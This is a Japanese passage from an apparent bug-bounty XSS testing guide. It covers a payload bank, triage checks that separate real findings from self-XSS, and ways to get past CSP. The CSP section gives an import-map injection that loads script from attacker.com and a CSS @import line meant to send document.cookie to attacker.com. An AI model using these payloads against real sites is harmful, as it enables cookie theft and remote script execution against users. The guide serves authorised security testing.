が発生します。security-arsenal— ペイロードを手作業で作成する前に、XSS ペイロードバンク(SVG+style、math+style の mXSS、CSP 回避用 JSONP ガジェット、WAF が見逃す HTML5 イベントハンドラー)を活用してください。また、自己 XSS や alert のみの PoC が提出対象外であることを確認するには、常に却下される項目のリストも参照してください。triage-validation— 攻撃者自身のセッションでしか発火しないストアド XSS を Critical と判定する前、またはレスポンス本文で Canary が HTML エンコード(<)されているリフレクテッド XSS を判定する前に、Pre-Severity Gate を実行してください。これらは、格下げされて N/A となる最も一般的な落とし穴です。
フェーズ X — CSP の回避とフレームワークのシンク
インポートマップインジェクションによる CSP の回避:<script type="importmap">{"imports":{"app":"https://attacker.com/evil.js"}}</script>
CSS の情報流出による Trusted Types の回避:<style>@import url('https://attacker.com/?'+document.cookie);</style>
フレームワークのシンク:React の dangerouslySetInnerHTML、Vue の v-html、Angular の [innerHTML]、Svelte の {@html}